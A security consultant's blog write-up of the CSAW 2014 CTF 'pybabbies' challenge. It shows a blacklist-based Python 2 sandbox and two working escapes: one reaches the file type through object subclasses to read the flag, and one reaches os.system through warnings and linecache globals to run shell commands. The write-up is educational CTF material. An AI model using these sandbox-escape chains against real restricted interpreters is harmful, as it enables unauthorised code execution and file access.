/ Python

CSAW-CTF Python sandbox write-up

This weekend past, my colleague Alex Evans and I took a trip up to Scotland to go see a bunch of the Abertay Hackers crew. Alex was delivering a talk on password generation and storage, which was very well received. If you're interested, John Steven's delivery of the talk can be found here:
OWASP AppSecUSA 2012 - Analyzing and Fixing Password Protection Schemes

Whilst we were hanging out with the students, they mentioned that a bunch of them were getting together in the University on the Saturday to tackle the CSAW 2014 Capture The Flag event.
Since we were still around we decided to join them and attempt to complete the challenges too.

Some initial thoughts on the CSAW-CTF 2014

Overall this year's CSAW CTF was very enjoyable and the problems were generally well-planned and suitable students with foundational development and security knowledge. Like previous years, the recon and trivia challenge categories allowed for the participation of entry-level students and proved to be fun problems. I spent most of my time looking at the reverse engineering, exploitation and forensics challenges so actually didn't get any of the recon category answers in time.

One challenge was particularly fun - introducing me to some new and interesting Python concepts. The remainder of this post will discuss this challenge and how I solved it to get the flag.

The challenge: Exploitation 2 (pybabbies)

Exploitation 2 was a whitebox challenge which provided you with the server side code, shown below:

#!/usr/bin/env python 

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

Once you connect to the provided host and port, you are dropped into a session running this script. As you can see from the above, the script has removed functions bar print and raw_input from __builtins__. This attempts to stop us from using any of the built in methods such as file.

The banned list contains a list of keywords which are not allowed and our input will not be executed by the script if it contains any of these keywords. So, this only leaves us with the ability to call print... or does it?

The Solution

There are (at least) two way's of which you can solve this challenge, one is slightly easier than the other but we will take a look at both within. Both solutions use the same underlying concept so can be avoided in similar fashion.

The easier way - reading the flag/key file.

Using sub-typing and method resolution we can obtain a reference to the built-in file function and use it. Let's see how we do that:

In a python interpreter (I'll tell you when we maneuver over to the script's interpreter), create an empty list and get it's class like so:

>>> [].__class__
<type 'list'>

As you can see, the class of a list is list (no surprises there). You may or may not know that in Python you can access a classes base(s) by using __base__ (or __bases__), like so:

>>> [].__class__.__base__
<type 'object'>

Again no surprises here, list is a subclass of the object class.
What is interesting though is that we are able to access object's other subclasses. let's list them:

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

As you can see there are a few which may be of interest to us, let's first look at file. As the result of __subclasses__() is a list, we can access file by index. You can either count the index manually or you can determine it using your python interpreter:

>>> [].__class__.__base__.__subclasses__().index(file)
40

I should point out just now that depending on the version of Python that the server's using and that you're using, this index value may be different.

Now that we know file's index, we can store a reference to it (for convenience) and then use it to read a file, like so:

>>> f = [].__class__.__base__.__subclasses__()[40]
>>> f('./test.txt').read()
'this is a secret message\n'

Obviously you'll need to create a test.txt file with some contents to try this, otherwise you'll get an exception.

Let's now try it in the interpreter of the challenge:

Welcome to my Python sandbox! Enter commands below!
>>> f = [].__class__.__base__.__subclasses__()[40]
>>> f('./flag.txt').read()
>>> 

Nothing? What happened?!

Well, based on the code we've been shown we know that flag.txt does indeed exist, otherwise an IOError would have been thrown - so that's something at least. Let's try again within a call to print:

Welcome to my Python sandbox! Enter commands below!
>>> f = [].__class__.__base__.__subclasses__()[40]
>>> print(f('./flag.txt').read())
<the key was printed here>

>>>

The easy way - os.system != "no bueno".

For this technique, I'm not going to re-explain the subtyping and method resolution concepts which were shown above but we are going to use them.
If we go back to looking at the subclasses of object (using a standard python interpreter again), we can look for another subclass to take advantage of:

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

In this case, we're going to utilise the warnings.catch_warnings class. The reasons why will come apparent a little further down.

Let's get the index of warnings.catch_warnings:

>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

Now like before we can use this index to access the class, let's initialise a copy and examine func_globals:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

Above you can see a module called linecache which is what we want to get a reference to. The reason we're interested in linecache is shown below:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']

Yup, linecache has access to the os module. You can probably see where we're going with this...

Let's work out the index value of the os module in our reference to linecache, using values() not keys() this time:

>>> import os
>>> a = [].__class__.__base__.__subclasses__()[59]
>>> a.__init__.func_globals['linecache'].__dict__.values().index(os)
12
>>> 

We're almost there, let's now lookup the built-in function system within our reference to the os module:

>>> a = [].__class__.__base__.__subclasses__()[59]
>>> b = a.__init__.func_globals['linecache'].__dict__.values()[12]
>>> b.__dict__.keys().index('system')
137
>>>

Again, the offsets shown above may be different depending on the version of python you are running this on.
Now we have access to system, let's store a reference and then execute a command:

>>> a = [].__class__.__base__.__subclasses__()[59]
>>> b = a.__init__.func_globals['linecache'].__dict__.values()[12]
>>> s = b.__dict__.values()[137]
>>> s('whoami')
hexploitable
0
>>> s('cat test.txt')
this is a secret message
0

All of this will work in the challenge interpreter, you can simply run s('ls') to view what files exist, you will see two key files and two flag files, all contain the same value. I think the reason for this is that it was expected participants would use the first technique I showed and they wanted to ensure the filename's were likely to be guessed.

Now you can simply s('cat key.txt') and obtain the flag value.

The reason of course we accessed os and system by index is so that we can bypass the banned blacklist.

References:
Grant Douglas

Grant Douglas

Senior Security Consultant @ Cigital/Synopsys. Working on everything appsec but mainly security, strategy and SAST & DAST tooling in the mobile vertical.

Read More